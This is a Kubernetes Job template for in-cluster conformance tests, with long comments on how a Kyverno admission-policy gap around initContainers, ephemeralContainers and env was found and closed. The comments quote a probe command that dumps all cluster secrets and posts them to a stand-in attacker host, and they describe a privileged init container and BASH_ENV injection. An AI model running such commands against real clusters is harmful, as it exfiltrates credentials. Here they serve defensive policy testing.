home-network-k3s-impl/conformance/incluster/chainsaw-job.yaml

# =============================================================================
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
#
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
# create a permanent Job object and fight the trigger for ownership.
#
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
#
# -----------------------------------------------------------------------------
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
# -----------------------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
# ONLY: exactly one container on a digest-pinned conformance-runner image,
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
# host namespaces, non-root with privilege escalation off, and — the constraint that
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
#
# So the git credential CANNOT be a projected/secret volume, and the init container
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
#   * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
#     BY SECRET NAME ONLY — no token literal ever appears in this file;
#   * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
#     readOnlyRootFilesystem stays true without a third volume and without subPath
#     mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
#     by the non-root runner).
#
# Verify before changing anything here:
#   kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
#     --resource <rendered job> \
#     --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
# -----------------------------------------------------------------------------
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
# never examined, so the exact escalation the policy exists to stop was reachable one
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
# compliant:
#
#   * this template with ONLY the init container's args replaced by
#     `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
#   * and (the coordinator's independent reproduction) a `privileged: true`
#     `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
#
#   ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # BOTH ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# Closed by new rules in that policy, authorised by the coordinator in this PR
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
# fit a Job, not to stop a hole being closed):
#   * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
#     container, on the digest-pinned runner image, `command:
#     ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
#     not privileged. The clone logic moved OUT of this manifest and into the image for
#     exactly this reason: a policy cannot vet a shell script passed as `args`, so the
#     script had to stop being caller-supplied data. It stays reviewable as
#     conformance/incluster/conformance-clone.
#   * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
#     unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
#     verified here, and the rule costs nothing if it is true.
#   * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
#     was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
#     the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
#     sources it before running a non-interactive script. Names are allowlisted per container;
#     VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
#     environment-specific, and conformance-runner can already read this namespace's Secrets
#     through its own RBAC, so pinning the source would buy nothing).
#
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
# `envfrom-whole-secret` — so they stay failing.
#
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
# committed shape" policy is only as good as its enumeration of every field that can carry
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
# does, that is the finding, not an oversight to work around.
#
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
#
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
# that belongs to a script — a trap this file walked into while the clone logic was still an
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
# with a two-token sed, nothing cleverer:
#
#   sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
#       -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
#
#   @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@  the 64-hex digest of the pinned runner image.
#         Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
#         are committed literals, so the substitution cannot repoint the image at another
#         repository, and the template still satisfies the policy's image pattern before
#         rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
#   @@CONFORMANCE_GIT_SHA@@             the 40-hex commit under test. The init container
#         REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
#         or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
# file be handed to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
# -----------------------------------------------------------------------------
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
#
#   requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
#   offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
#
# so:
#   ["--layer","l2,l3"]                                        -> offline selection EMPTY. RUNS.
#   ["--layer","l2,l3","--requirements","R-NET-01"]             -> intersected to L2/L3. RUNS.
#   ["--layer","l2,l3","--include-scope","whole-repo"]          -> scope union is ALSO
#         layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
#   ["--requirements","R-NET-01"]        (no --layer, so LAYER=all) -> unbounded: pulls that
#         requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
#   ["--layer","all","--strict-coverage"]                       -> every L0/L1 test. FAILS.
#
# The first three are measured working by the image build (PR #18); the last two are measured
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
# The committed default below is the narrowest shape that works.
#
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
# security boundary should not encode which toolchain an image happens to ship, and the failure
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
# -----------------------------------------------------------------------------
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
#
#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#   <base64 of the tgz, wrapped at 76 columns>
#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
# complete artifact set — which a bare blob would, because base64 decodes a truncated
# stream to plausible garbage without complaint. See the block comment above
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
#
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
# transport is the pod's log, so the Job must finish while that log still exists.
# =============================================================================
apiVersion: batch/v1
kind: Job
metadata:
  generateName: conformance-run-
  namespace: conformance
  labels:
    app.kubernetes.io/part-of: conformance
spec:
  backoffLimit: 0            # deterministic: a failed conformance run is a failure, no retry
  # A retry would also re-emit the artifact envelope, giving the collector two BEGIN
  # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
  ttlSecondsAfterFinished: 3600
  activeDeadlineSeconds: 5400   # L3 fault injection is slow; a hung run must not hold the gate
  template:
    metadata:
      labels:
        app.kubernetes.io/part-of: conformance
    spec:
      serviceAccountName: conformance-runner    # scoped test identity (rbac.yaml)
      restartPolicy: Never
      securityContext:
        # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
        # alone only *rejects* a root image, it does not choose a uid, and the runner image
        # is built by a separate task (plan §5 step 1). 65532 is the conventional
        # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
        # emptyDirs group-writable for that uid.
        runAsNonRoot: true
        runAsUser: 65532
        runAsGroup: 65532
        fsGroup: 65532
        seccompProfile: { type: RuntimeDefault }
      initContainers:
        # ---------------------------------------------------------------------
        # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
        #
        # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
        # conformance/incluster/conformance-clone and is baked into the runner image at
        # /usr/local/bin/conformance-clone. That is what makes the init container
        # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
        # `args: [<script>]`, no admission policy could distinguish the committed script
        # from an attacker's — both are just `args` on a shell, and a Job with a privileged
        # alpine init container running `kubectl get secrets -A` was ADMITTED (measured
        # 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
        # pins this container to that one path with NO args, so it carries no
        # caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
        # and for why the repository URL is hardcoded THERE rather than passed in env.
        #
        # Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
        # is not 40 hex characters before it touches the network.
        # ---------------------------------------------------------------------
        - name: clone-suite-at-commit
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
          command: ["/usr/local/bin/conformance-clone"]
          env:
            - name: CONFORMANCE_GIT_SHA
              value: "@@CONFORMANCE_GIT_SHA@@"
            # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
            # READ-ONLY Gitea token with read access to this one repository — never a write
            # token, never a deploy key with push. Keys: `username`, `token`.
            # An env var is not a volume, which is how this coexists with the admission
            # policy's workspace/results-only rule.
            - name: GITEA_USERNAME
              valueFrom:
                secretKeyRef: { name: conformance-git-readonly, key: username }
            - name: GITEA_TOKEN
              valueFrom:
                secretKeyRef: { name: conformance-git-readonly, key: token }
            # Writable scratch + HOME on the workspace emptyDir, so the root filesystem
            # stays read-only and no third volume is needed.
            - name: TMPDIR
              value: /workspace/tmp
            - name: HOME
              value: /workspace/home
          volumeMounts:
            - { name: workspace, mountPath: /workspace }
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
            runAsNonRoot: true
          resources:
            requests: { cpu: 100m, memory: 128Mi }
            limits: { cpu: "1", memory: 512Mi }
      containers:
        - name: chainsaw
          # Digest-pinned under the conformance repository path — the admission policy
          # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
          # (+ kubectl, git, python3, bash); see plan §5 step 1.
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
          workingDir: /workspace/src/conformance
          # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
          # envelope is emitted by run.sh itself rather than by a shell one-liner here.
          command: ["./run.sh"]
          # Replaced wholesale by the trigger per invocation shape (see the header).
          # `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
          args: ["--layer", "l2,l3"]
          env:
            # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
            # artifact tree onto the `results` volume. It cannot live at its default
            # conformance/_artifacts, because a volume mounted inside the clone target
            # would make that directory non-empty and `git clone` would refuse it.
            - name: CONF_ARTIFACTS
              value: /results
            # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
            # base64 tar over an operator's terminal.
            - name: CONF_EMIT_ARTIFACTS_TGZ
              value: "1"
            - name: TMPDIR
              value: /workspace/tmp
            - name: HOME
              value: /workspace/home
          volumeMounts:
            - { name: workspace, mountPath: /workspace }
            - { name: results, mountPath: /results }
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
            runAsNonRoot: true
          # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
          # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
          # node without starving the suite.
          resources:
            requests: { cpu: 250m, memory: 512Mi }
            limits: { cpu: "2", memory: 2Gi }
      volumes:
        # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
        # Suite source, written by the init container: /workspace/src is the checkout,
        # /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
        - name: workspace
          emptyDir: {}
        # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
        # carries; an emptyDir is sufficient because the transport is the log, not the
        # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
        - name: results
          emptyDir: {}